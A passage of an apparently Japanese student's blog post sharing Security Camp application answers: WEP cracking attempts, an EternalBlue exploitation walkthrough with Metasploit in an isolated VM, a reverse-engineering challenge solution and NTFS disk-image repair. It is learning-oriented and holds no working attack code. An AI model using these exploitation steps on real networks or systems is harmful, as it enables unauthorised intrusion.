(2)Kali Linuxにデフォルトで搭載されているwifiteという別のアプリでWEP解析を行う。
しかしながら、(1)は効果がなく、(2)ではairodump-ngと同様に、アクセスポイントが発見されなかったため解析することができなかった。
もっと調べると、compat-wireless-2010-06-26を使ってwlan0インターフェイスを認識させて同じ手順を踏み、airodump-ngコマンドを実行して同じ問題に当たったという動画が見つかり、その次の動画(https://www.youtube.com/watch?v=ZdKUd1XaMYg)では、次の3つの対処法が紹介されていた。
(1)VirtualBoxなどの仮想環境上ではなく、デュアルブート環境でKali Linuxを動かす。
(2)外部から無線LANアダプタを取り付ける。
(3)マシンのアップデートを行う。
というように、今までのcompat-wirelessを利用した方法ではWEP解析はできないことがわかった。
この問題にとりかかったときには課題提出締め切りまであと3日というところだったので、これまでに書いたこと程度のことしか行えなかったが、今度はUSBの無線LANアダプタを使用することで、多くのWEP解析方法紹介サイトと同様な環境下で自宅のアクセスポイントのWEP解析ができるのかどうかを試そうと思っている。また、aircrack-ngでは飛び交っているパケットを傍受してWEP解析を行うことから、Wiresharkで得たパケットのみで解析する方法もあると思うので、もう少し調べたい。

これが一番苦し紛れです.この問題の回答を書き始めたのが締め切り3日前だったのはしょうがないとして,問題がプロ諸氏にとってはお茶の子さいさいなもの,それでいてメインの部分の前でつまづき,終了.これはいかに熱意重視とはいえ,落選決定だと思いました.恥ずかしい……!!!次の問題に移りましょうか()

  • 問3
[Twitterアカウント]
名前:Ciruela
ユーザー名:@__Xcyba17her_

[GitHubアカウント]
https://github.com/Ciruela-Xcyba17her

[はてなブログ]
http://verliezer93764.hatenablog.jp/

Githubアカウントを急遽作ったんですが,今まで述べましたように,無知が露呈しています.しかし,他のアカウントも含め,自分がどういう人物か知ってもらうため,正直に載せました.この行為が吉と出たか大凶と出たか,僕にはわかりません.

  • 問4
【A1~3】「インシデントレスポンスで攻撃者を追いかけろ」
今回セキュリティキャンプに応募した理由の一つとして、セキュリティ技術者が現場でどのような技術を用いて、どのようにして人々の情報を守り、犯人の追跡をするのかを知ることによって、「初心者である今からセキュリティ技術者として人々を守る力を持つようになるまでの道筋・勉強方法がつかめない」という最大の悩みを解決し、これからの大学・大学院生活における学び方に生かしていきたいというものがある。この講義では、マルウェア解析、デジタルフォレンジック、ログ解析などを仮想的であってもインシデントが発生した環境で手を動かして経験することができる絶好の機会なので、セキュリティ技術者となるためには自分は何をどのように学ぶべきなのか、今後の学び方を身に着けたい。

【A4】「IN-DEPTH STATIC MALWARE ANALYSIS」
今年2月からアセンブリ言語を自習しはじめ、CTFでも、何回か変数と数値を比較しているだけであったり、コードがせいぜい30行程度であるようなプログラムに関する易しめの問題をだんだん解けるようになってきた。しかしながら、メガバイト単位の大きいプログラムであったり、数~数十キロバイトのサイズでも、何も出力せず、ウィンドウも表示しないようなプログラムには手が出ない状況である。この講義では、攻撃者が作るプログラムの静的解析を経験することによって、長いマルウェアコードの中からどのようにして素早く核となるコードを見つけ、その挙動を見抜くか、そしてもともと攻撃者の使うコードにはどのような関数が使われているのかを学び、その後CTFなどで解析の練習を重ね、静的解析の力をつけていくきっかけにしたい。

【E5】「Linuxカーネル脆弱性入門」
問5では、EternalBlueについて調べたが、途中で「非ページプールでのバッファオーバーフローを起こす」ことについて、まず非ページプールとはどこのことなのか、またそれはどのように使われるのかについてかなりの時間を費やし、最後にはなんとか脆弱性攻撃のおおまかな原因や方法はつかめたが、実際の攻撃のイメージがわかなかった。でも、攻撃者たちはそのようなコンピュータの仕組みについてはもちろん熟知しており、その知識をもとにマルウェアを作るはずである。よって、守る側の自分もLinuxカーネルなどについての知識についてはつけておかなければならないと強く感じたので、低いレイヤを対象とした脆弱性についてもすぐに理解できるように、この講義を通してカーネルの基本や学び方を身に着けたいと思っている。

【C6】「パターン認識とセキュリティ」
去年に人工知能分野が最近急速な成長を遂げつつあることを知り、それを何らかの形でセキュリティ分野に応用すれば、増え続けるサイバー攻撃に対する防御側の不足を補えるのでは?という思いはあった。日経bpの「すべてわかるセキュリティ大全2018」という本では、マカフィー社のMcafee Endpoint Threat Defenceやシマンテック社のSymantec Endpoint Protectionなどのウイルス対策ソフトでは機械学習アルゴリズムを導入していることが紹介されており、[---REDUCTED---]、機械学習には非常に興味を持っている。この応募課題が終わり次第機械学習に入門していこうと思っているので、この講義に参加することで、機械学習をどのようにしてセキュリティ技術に応用できるのかを知りたい。

【A7】「本当にわかるSpectreとMeltdown」
私は、CPUはただ演算命令に従ってALUを動かし、演算をこなすだけのものと思っていたので、セキュリティには無関係であると思っており、CPUに脆弱性が見つかったときには、どうして命令をこなすだけのCPUが脆弱性を持つのかと思い、非常に驚いた。今回、この講義を利用して、今まで学んでこなかったCPUにはただ演算をこなすだけではなく、どんな役割や能力を持っているのかを知り、SpectreとMeltdownはどういうところにつけこんで攻撃をするのか、どんな被害が想定されるのかを確実に理解して、コンピュータの設計に関する知識として備えたいと思っている。

ただ思っていることを書きました.特に,僕自身セキュキャンは今後何をどう学んでいくかの参考にしたかったので,その講義をセキュキャン修了後にどのように生かしていきたいのかを書きました.

  • 問5
調べた脆弱性:EternalBlue
脆弱性を調べる上で、はじめはそれを概観しながらわからない単語を調べることで確実に理解を進めていき、次々と深くまで、単語の意味を調べつつ、進めていくことにした。
EternalBlueのCVE識別番号は、CVE-2017-0143である。まずは、EternalBlueは具体的にどのような脆弱性なのかを概観した。[1]のCurrent Descriptionという見出しによると、この脆弱性は、「遠隔地にいる攻撃者が、作成した(特殊な)パケットを送ることで、WindowsのSMBv1(SMB version 1.0)サーバ上で任意のコードを実行(RCE)できる」というものである。[2]によると、SMBとは、Server Message Blockの略称で、Windows OSで構成されたLAN上でファイルを共有するサービスの基礎となっているプロトコルである。OSI参照モデルではL6,7に位置しており、クライアント-サーバ型の構造をしている。
次に、そのSMBv1サーバ上でどのようにして任意コードを実行させるのか、より詳しい記述を探した。その結果、[3]が見つかった。かなり詳しく書かれていたので、このページの理解を目指すことにした。[3]によると、EternalBlueはSMBv1の3つのバグを使う。

(1)"Wrong Casting Bug"
SMBプロトコル上で、OS2 FEAをNT FEAに変換する過程にバグがある。
Os2FeaList構造体にSizeOfListInBytesというメンバがあり、SrvOs2FeaListSizeToNTという関数は何バイトのOS2 FEAをNT FEAに変換するかを計算しこの変数にその結果を格納する。その計算の過程は本来DWORD型の範囲で行われるべきであるが、上位2バイトを考えずにWORD型の範囲で行われてしまうことがある。一方、返り値としてもNT FEAのサイズは計算されるが、それは正しく行われる。よって、[3]にあげられている例のように、変換前にSizeOfListInBytesの値が0x10000であった場合に、変換すべきOS2FEAのサイズが0x1ff5d(バグがなければ0xff5d)となっており、これは変換後の本来のNTFEAのサイズよりも大きくなる。これはout-of-bounds write(領域外メモリへの書き込み)を発生させる。

(2)"Wrong Parsing Function Bug"
SMBプロトコルを通じてファイルを送信する際、SMB_COM_TRANSACTION2とSMB_COM_NT_TRANSACTという、データに関するサブコマンド群を使う。単一のパケットとして送信するにはデータの送信量が膨大すぎるときは、それぞれのサブコマンドの末尾に_SECONDARYを付けたSECONDARYサブコマンドを使用する。ここで、SMB_COM_TRANSACTION2とSMB_COM_NT_TRANSACT、そしてそれぞれのSECONDARYサブコマンドではどちらも送信できるデータ量の上限をヘッダに定義するが、前者ではWORD型とする一方、後者ではDWORD型で設定することとなっており、差異がある。また、最初にSMB_COM_NT_TRANSACTコマンド(データ量の最大値はDWORD型で設定)を打ち、その後SMB_COM_TRANSACTION2_SECONDARYコマンド(データ量の最大値はWORD型)で送信することも可能である。これにより、送られてきたOS2 FEAのサイズをWORD型で計算させて領域外メモリへの書き込みを行わせる(1)のバグを起こすことができる。

(3)"Non-paged Pool Allocation Bug"
SMBクライアントがサーバに対し認証され、接続およびセッションを確立するにはSMB_COM_SESSION_SETUP_ANDXリクエストを送る必要がある。SMB_COM_SESSION_SETUP_ANDXリクエストのフォーマットには2種類あり、どちらの認証でもリクエストはSMB_ParametersとSMB_Dataという2つの部分に分かれる。また、サーバ側では、それらが揃っているのかをSrvValidateSmbという関数が確認する。その中で、BlockingSessionSetupAndXという関数がSMB_Dataのデータを抽出するが、クライアントとサーバの間でリクエストフォーマットの認識の齟齬が生じることがあり、ByteCountというSMB_Dataのサイズを示すパラメータを違ったオフセットから読んでしまい、ByteCountを本来と異なる値で読んでしまう(本来より大きく計算される)ことがある。それによって、小さなパケットでも、非ページプールでの大きい領域の確保が行われることがある。

RCEを行うためには、非ページプール上で今までに述べた3つのバグを利用し、MDL Overwriteなどを行う。MDLとは、I/O命令に使用され、実メモリ上では一群のデータはバラバラに配置されることに対し、連続的にデータが配置される仮想メモリからポインタで実メモリを指すための構造である。SRVNETバッファのヘッダにはMDL構造があり、その前の領域からバッファオーバーフローを起こすことができれば、MDLを書き換えることができる。そのためには、まず複数のSRVNETバッファを生成させるカーネルグルーミングや、領域の解放を行い、バグ(3)で確保させておいた実質の空き領域とSRVNETバッファを連続させる。ただし、SRVNETバッファはSMBv2を実現するsrvnet.sysによって、SRVバッファはSMBv1を実現するsrv.sysによって生成され、カーネルグルーミングによって発生させるSRVNETバッファについては(1)と(2)のバグは起こさせない。また、HAL’s Heapという、アドレス位置が不変なカーネル構造体があり、それはWindows 8以前のバージョンで実行権限を持つ。つまり、MDL上のポインタをHAL's Heapに書き換えれば、HAL’s Heapに任意のシェルコードを書き込ませてRCEを実行することができる。そのためには、(1)と(2)のバグによって、バグ(3)により確保された空き領域上でSRVバッファによるオーバーフローを起こさせ、MDLを書き換える。

次に、私の環境でこの脆弱性のエクスプロイトが実験できるかどうか調べたところ、多くのWebページや動画がMetasploitという脆弱性のペネトレーションテストソフトを用いていた。また、EternalBlueに加え、バックドアを設置するDoublePulsarを併用したMetasploit用コードがGitHub上で公開されており(https://github.com/ElevenPaths/EternalBlue-Doublepulsar-Metasploit)、それを利用した方法もあった。今回はそれを利用してみる。方法は、まずGithubなどから入手した。Metasploitを起動した後、use xxx(xxxは攻撃用コード)として攻撃方法を設定して、setコマンドで攻撃に要する各パラメータを設定する。exploitコマンドで攻撃を開始し、テストターゲットとしてhttps://developer.microsoft.com/en-us/microsoft-edge/tools/vms/からWindows7の仮想環境"IE8 on win7"をダウンロードして使用し、攻撃はKali Linux 2018.1を使用した。また、間違いを防ぐため、攻撃の際には、このPC全体が外部アクセスポイントに接続しないようにした。また、Windows7の方ではホストオンリーアダプタの設定を行い、IPアドレスを固定した。
しかし、私の環境では攻撃はうまくいかなかった。auxiliary/scanner/smb/smb_ms17_010を用いると、脆弱性を攻撃できそうなときにそれを意味する表示がされるが、その表示もされなかった。どこかで設定が間違っているか、"IE8 on win7"がすでに対策をしていると考えられるが、今回は断念した。この脆弱性の対策としては、Microsoft社の出しているパッチを適用すればよい。EternalBlueについて調べてみて、正直にいってその原理は私にとってとても難しいものであった(カーネルに関する知識を持っていなかった)。しかしながら、実際の攻撃はMetasploitによって簡単に行えてしまう。これは、知識のない者でも簡単に攻撃を行えることを意味している。サイバー犯罪を抑えるためには、OSSも含め、攻撃能力をもつツールの公開を制限したり、ダークウェブ上での流通にも大いに警戒する必要があると思った。

参照ページ:
[1] https://nvd.nist.gov/vuln/detail/CVE-2017-0143「CVE-2017-0143 Detail」
[2] http://www.atmarkit.co.jp/ait/articles/0410/29/news103.html「第20回 ファイル共有プロトコルSMB/CIFS(その1) (1/3)」
[3] https://research.checkpoint.com/eternalblue-everything-know/#bugb「EternalBlue ? Everything There Is To Know」

SpectreとMeltdownが気になっていたが,脳内で話題だったEternalBlueについて調べました.これがまた難しかった.SMBって何?サブコマンドって??非ページプールって??と,いちいち出てくる用語がわからない状態.
出てくる単語の多くがわからなくて,ググりまくりました.しかし実際に設定等をいじることはなかったので,今でもはっきりは理解できていないと思います.しかもソースが読み慣れてない英語で,ますます理解に時間がかかりました.いちいち調べていった結果,文字数はどんどん膨れ上がり,気づいたら6000文字オーバー.削りまくった結果,特に最後のあたりは詰め込んだ感じになっています.ただ,最後まで一定の理解はできるように頑張りました
この問題の影響で,いわゆる低レイヤと呼ばれる部分に深い興味を持っています!30日でOSを作るアレ,やってみたい.

  • 問6
アドレスAより割り当てられている命令について、「Aの行の命令」と書くことにする。まずは、ジャンプ命令の場所を抜き出した。すると400e36と4003f8と400402と400425の行にジャンプ命令があり、そのうち4003e6と400402の行のものは、main関数終了に向かってジャンプを行わせるものとなっており、その前には必ずraxに1を格納するmov命令がある。一般に、関数の返り値を格納するためにはraxが使用される。それらのジャンプを行わなかった場合、40043bの行にsetneという命令があるが、これは400438の行のcmp命令でゼロフラグが立つ、つまり等しいという結果が出ればalに0を格納し、そうでなければ1を格納するものである。したがって、400438の行までプログラムが進行し、raxとrdxの値が等しいという条件を満たせばプログラムは0を返すということがわかる。
ここからは、命令を1つ1つ確認していくことにしたが、早速4003caの行のcmp命令に困惑した。ここでediの値が数値2と等しくなければ先ほど述べた通り返り値は1になってしまう。ところが、このcmp命令以前には、ediに操作をする命令が書かれていない。そこで、問題文が「プログラムが0を返すようなコマンドライン引数を見つけよ」という趣旨だったことを参考に、Ubuntu 16.04 LTS上で、コマンドライン引数を指定したときどんな逆アセンブルコードが生成されるのか調べるために、以下のサンプルCプログラム(test.c)を作った。
//プログラム先頭
#include<stdio.h>
int main(int argc,char *argv[]){
	return 0;
}
//プログラム終了
与えられた逆アセンブル結果ではediと2の比較はほぼ先頭で行われていたので、gdbを用いて逆アセンブルし、main関数の前でrdiの値を調べた。その結果、rdiの値は、設定するコマンドライン引数の個数によって変化し、常にrdiの値が(コマンドライン引数の個数)-1となった。よって、rdiの値は、実行用文字列「./test」を含んだすべてのコマンドライン引数の個数で、main関数に入る前に代入されると考えた(なお、https://simple-teq.net/assembly/assm-14.htmlにその旨が書いてあったことを後に見つけた)。
したがって、このcmp命令は指定したコマンドライン引数の個数が1個であることを確認する働きをしていると結論した。
さて、アセンブリコードに戻る。4003c0の行から4003dcの行にかけては、raxを用いてスタック構造にに順次値をコピーしている。Debianではバイトオーダとしてリトルエンディアンを採用しているので、ここでは(espの値-16)のアドレスから(espの値-1)のアドレスの16バイトにかけて0f,0e,0d,…,03,09,07という数値が代入されていったことになる。
4003eeの行から4003f8の行にかけては、4003f3 の行のcmpb命令、4003f8の行のjne命令によるループ構造になっている。
ループの中で、(rdx-1+rax*1)というアドレスの計算が行われているが、そのベースとなっているrdx、すなわち4003e8の行でrdxに代入したrsi+8というアドレスは何を意味するかが分からなかった。rsi:ソースインデックスレジスタは、一般的にはベースとなるアドレスからのオフセットを表したり、文字列操作のための文字列のコピー元アドレスを格納したりする役目を持つが、この「文字列」というものが、問題にある「コマンドライン引数に指定する文字列」にあたるのではないかと考えたので、再びUbuntu 16.04 LTSで、rsiの指すアドレスとコマンドライン引数のアドレスの関係を調べるためのサンプルプログラムを書いた。
//プログラム先頭
#include<stdio.h>
int main(int argc,char *argv[]){
	printf(“%p\n”,argv[1]);
	printf(“%p\n”,argv[2]);
	printf(“%p\n”,argv[3]);
}
//プログラム終了
gdbを用いて、set args ABCD EFGH IJKLコマンドで3つのコマンドライン引数を指定し、最初のprintfの前でプログラムを止め、x/20x $rsiコマンドによって確認した。その結果は以下の通りである。
0x7fffffffe27e: 0x41 0x42 0x43 0x44 0x00 0x45 0x46 0x47
0x7fffffffe286: 0x48 0x00 0x49 0x4a 0x4b 0x4c 0x00 0x58
0x7fffffffe28e: 0x44 0x47 0x5f 0x56
この結果から、rsiはコマンドライン引数のアドレスを指すために使われ、各コマンドライン引数の終端には、0x00(文字列終端を示す)が格納されると考えた。すなわち与えられた逆アセンブルコードの4003f3の行では、(rdx-1+rax*1)のrdxにrsi+8を代入して(rsi+7+rax*1)というアドレスの中身(1バイト)と0を比較しているが、これはコマンドライン引数について、その終端であるかどうかをraxをカウントとして用いることで1バイトずつ確認していると考えられる。また、rsi+8というオフセット付きのアドレス指定となっているのが気になったが、rsiの指すアドレス以降には、”./test”というような実行用文字列が格納されることがわかった。よって、4003eeの行から4003f8の行までのループは、後のjne命令によりecxの値が8でなければmain関数が1を返してしまうことを考え、コマンドライン引数の長さが8バイトであることを確認する働きをしていると結論した。
400404の行ではrsiに先ほどの8バイトのコマンドライン引数を代入している。
400407の行ではeaxの値を0に、400409の行でカウントの値を0にしている。40040bの行から400425の行はループとなっており、400419の行でecxに4を加え、400422の行でecxの値と0x40を比較し、等しければループを抜けることから、ecxがカウンタの働きをし、このループは計16回繰り返される。
X回目のループの中で何を行っているのかをまとめる。まず、40040bの行から400411の行にかけてはコマンドライン引数を16進で表した場合の下から第X桁目を抽出する。それを仮にAとおく(0<=A<=15)。次に、初めに定義したスタック構造について、(rsp-16+A)のアドレスに位置する1バイトを取り出す。取り出した値を仮にBとおく。このとき、rsp-0x10というアドレスからrsp-1というアドレスまで16バイトにかけて0f 0e 0d 0b 00 01 06 0c 04 05 08 0a 02 03 09 07という並びで定数が格納されていることに注意する。すなわち、Bの取りうる値は0,1,2,…,e,fの,1桁の16進数である。400419の行から40041fの行にかけては、raxの下位から第X桁に対し、Bとor演算を行わせている。ここで、ループに入る前にはraxの値は0であるから、ループを経るごとにraxの値が下位から1桁ずつ決定されることがわかる。
ループの先を読んでみる。400427の行では、raxにrip-0x6e(mainの先頭を指す)のアドレスの内容とraxの内容とのXOR演算の結果を格納する。ここで、rip-0x6eというアドレスを参照した場合、単純に考えればニーモニックで命令を示す48とb8も含まれてしまい、仮にchal00がCなど高級言語で書かれているとしたら、はたして命令を示す機械語を利用するプログラムを書けるのかが疑問だった。しかし、あくまでも処理はアセンブリ言語における命令に厳格に従うと考え、リトルエンディアンを考慮して、rip-0x6eを参照した値は、0x01000b0d0e0fb848であるとした。400438の行ではraxとrdxの比較を行い、40043bでは最初に述べたsetne命令を実行する。ここでalが0に設定されればよいので、rax=rdx=0x600967b3670e0385となるようにしなければならない。したがって、ループ直後にはraxの値が0x01000b0d0e0fb848 XOR 0x600967b3670e0385 = 0x61096cbe6901bbcdとなればよい。
すなわち、ループ内で行っていることは考えると、コマンドライン引数として指定するのは、16進表記で、上位から1桁目が[rsp-0x10+0x6]=6より6、2桁目が[rsp-0x10+0x5]=1より5、3桁目が[rsp-0x10+0x4]=0より4、4桁目が[rsp-0x10+0xe]=9よりe、…と求めてゆき、0x654e67316e453372である。これは1バイトの文字列”eNg1nE3r”をASCII Codeで変換したものである。したがって、コマンドライン引数を”eNg1nE3r”とした場合のみchal00は数値0を返す。

とりあえず1行ずつ読んでいき,適宜命令についてググりました.また,資料が見つからなければ,簡単に実験をして近い内容をつかもうとしました.難しそうでも思い切って取り組んでみると,この問題はできるかもしれません.スタックポインタの動きについてはあっているのかわかりません.

  • 問7
Windows 10 Proからこの問題を解いた。

設問1.
拡張子偽装などはないとする。拡張子が.imgであるので、これはMacによって作られたディスクイメージファイルである。なので、まずはMac OSがサポートするファイルシステムを調べた。しかしながらそれだけでは何の情報もつかめなかったので、とりあえず与えられたイメージディスクファイルをバイナリエディタStirlingで開き、マジックナンバーや、先頭・末尾に近い部分から情報を得ようとした。その結果、ファイルシステム一覧のWebページにも載っていたNTFSというASCII文字列が0x6fバイト目からみられた。NTFSは、Windows NT系で多く使われるファイルシステムである。Macでは、"NTFS-3G for Mac OS X"や、“Paragon NTFS for Mac OS X"というドライバをインストールすれば読み書きが可能になる。
また、文字列"NTFS"が見つかった、イメージファイルの先頭部分をFTK Imagerは"MBR"と識別していた。問題で与えられたのは"usbディスクイメージ"であるから、この部分はMBRではなくてPBRなのではないか、また、FTK Imager上でMBRとなっているのは、ここの内容が壊れているために正しく読めていないからではないかと考えた。したがって、まずはPBRの修正を試みることにした。
ファイルシステムは、NTFSであると予想した。しかしながら、PBRに偶然にNTFSという特定の4バイトの文字列が入るとは考えにくいものの、決定的な証拠はわからなかった。

設問2と設問3.
設問1を通して、まずはPBRが破損しているかどうかを確かめることにした。PBRはBIOS Parameter Block(BPB), Extended BPB, Boot Code, End of sector Marker(内容はブートセクタ終了を示す0xAA55)の4つの部分で構成されている。各構造体やメンバの名称はhttp://ultradefrag.sourceforge.net/doc/man/ntfs/ntfs_layout.h.htmlを参照した。以降、修復場所を示していく。

1.オフセット0x3から始まる4バイト
これは、"NTFS_BOOT_SECTOR"構造体の"oem_id"というサイズが8バイトのメンバで、ファイルシステムがNTFSであることを示すために必要である。本来"NTFS"という4バイトのASCII文字列と0x20が4バイト分の合計8バイトが入るが、"NTFS"となる部分がすべて0になってしまっている。したがって、"NTFS"を表す"4E 54 46 53"に書き直す。その後の4バイトにはすべて0x20が入るが、これはそのまま存在している。

2.オフセット0xbから始まる2バイト
これは、"BIOS_PARAMETER_BLOCK"構造体の、"bytes_per_sector"というサイズが2バイトのメンバで、1セクタあたりのバイト数を示す。HDDのセクタサイズには、512バイトと、4Kバイト(4096バイト)のものが存在する。後者はHDDの大容量化によって2010年ごろから現れ、アドバンスド・フォーマットという規格が2009年11月に定められている。ただ、NTFSのセクタサイズは512バイトが一般的であるため、512(0x200)バイトと考えた。ところで、オフセット0x28から始まる8バイトは"BIOS_PARAMETER_BLOCK"構造体の"number_of_sectors"というメンバであり、パーティションのセクタの数を示す。したがって、"bytes_per_sector"と"number_of_sectors"の値を掛け合わせると、このディスクイメージファイルのサイズと等しくなるはずである。エクスプローラによると、このディスクイメージファイルのサイズは104857600バイトである。一方、bytes_per_sector=0x200(バイト)、number_of_sectors=0x31fffであることから、掛け合わせた値は104857088となり、もう512(バイト)を加えれば104857600となる。このことから、bytes_per_sectorの値は0x200でよく、また、PBRはセクタとしては数えられないものと考えられる。したがって、bytes_per_sector=0x200(バイト)、number_of_sectors=0x31fffが正しい値と考え、"00 00"になっているところを、リトルエンディアンを考慮し"00 02"と書き直した。

3.オフセット0xdから始まる1バイト
これは、"BIOS_PARAMETER_BLOCK"構造体の、"sectors_per_cluster"というサイズが1バイトのメンバで、1クラスタあたりのセクタの数を示す。その値は0x08であることが多い。ここで、オフセット0x30には8バイトのサイズを持つ"NTFS_BOOT_SECTOR"構造体の"mft_lcn"というメンバがあり、これはMFTの割り当てられている最初のクラスタの番号を示す。すなわち、バイナリエディタ上で、MFTの内容が始まるアドレスと、(bytes_per_sector)*(sectors_per_cluster)*(mft_lcn)という積で求められる値は等しくなるはずである。結果としては、MFTの先頭アドレスは0x2155000であった一方、積の値は0x200*0x8*0x2155=0x2155000であり、等しくなった。よって、bytes_per_sector=0x0200,sectors_per_cluster=0x08,mft_lcn=0x2155が正しい値であると考えられる。
与えられたディスクイメージファイルでは、0x08という値が入るところが、0x00になっている。したがって、"08"と書き直す。

ここまで修正して、FTK Imagerがファイル構造を認識するようになった。また、[root]ディレクトリに、iir_vol37.pdfとiir_vol38.pdfというpdfファイルがあった。しかし、前者はサイズなどの情報や内容が認識されていたのに、後者はファイル名とファイルタイプが"$I30 INDX Entry"となっていること以外に何も情報がなく、内容を確認できなかった。しかし、ファイル情報がこれだけ確認されているということは、ファイル情報を管理するMFTに何か問題があると思ったので、iir_vol38.pdfのMFT情報を見てみることにした。その場所をバイナリエディタで探すためには、ファイル名を用いた。MFTにおいてはファイル名の情報はUnicodeで掲載されているため、検索することができる。そこで、MFT情報を見つけ、さらに次のように修正した。

4.バイナリエディタ上でアドレス0x2165000から始まる4バイト
これは、MFT_RECORD構造体の、magicという4バイトのメンバで、シグネチャとも呼ばれる。その値は、ASCII文字で"BAAD"か"FILE"のいずれかである。通常は"FILE"であるが、ファイルエントリが壊れている場合、"BAAD"となる。さて、"iir_vol38.pdf"のMFT情報が先ほど見つかったが、その先頭は、"BAAD"となっており、壊れていることになっている。ここではiir_vol38.pdfの内容を見たいので、"FILE"に直す。
直した結果、FTK Imager上でiir_vol37.pdfと同様に、サイズや内容などの情報が表示されるようになった。

ここで、FTKからディスクイメージのマウントを試みると、マウントは成功した。しかしながら、Windows10に搭載されているマウント機能ではなぜかマウントできず、疑問が残った。

設問4.
HashSumというハッシュ値計算ソフトウェアを用いて、以上の手順で手に入れたiir_vol37.pdfとiir_vol38.pdfのSHA-256ハッシュ値を求めた。その結果、iir_vol37.pdfのハッシュ値は5d62f82532d62645cd67b312546a599d90d15ea09c5ee5dbd61c5d90fc945ad3であり、iir_vol38.pdfのハッシュ値は86eb9f1fe34087f709a659b051d4d06930078c72d420683f2bf89455f31eb55fであった。ここで、私はこの問題がほかの問題よりも単純に感じたため、念のためにpdfファイルにもディスクイメージファイルが壊れたことによる内容の変化が起きなかったのかについて考えることにした。SHA-256は弱衝突耐性を持ち、1ビットでも内容が狂えば、本来導出されるべきハッシュ値と大きく異なってしまう。iir_vol37.pdfやiir_vol38.pdfをgoogle検索したところ、同じ内容のpdfファイルがあり、公開されていた。そこで、それらをダウンロードし、HashSumでハッシュ値を調べたところ、先ほどの2つのハッシュ値と同じ値であった。したがって、救い出した2つのファイルは公開されているものと内容が同一であり、また、公開されているこの2つのファイルがダウンロードされてから私が救い出すまでに改ざんがなく、ディスクイメージファイルの故障の影響を受けなかったと考えられる。すなわち、救い出したpdfファイルのSHA-256ハッシュ値は上にあげた通りで正しいと考えられる。

ファイルシステムの名称がわかったら比較的早く進みました.この問題も,少しずつ調べながら進めていけば,解けるかもしれません(この問題を見たとき,正直に言うと自分は「ファイルシステムって何??」という状態でした笑).ただ,なぜWindows10が搭載するマウント機能でマウントできなかったのかが謎で,それを考えるのに時間を無駄に使ってしまいました.

最後に

セキュキャンが自分の丈にあっているのかは正直なところとても不安です.でも,そんな態度では決して最前線には立てないので,恐れずに挑戦して,セキュキャンをきっかけに,自分自身で考えて成長できるようになりたいと思います!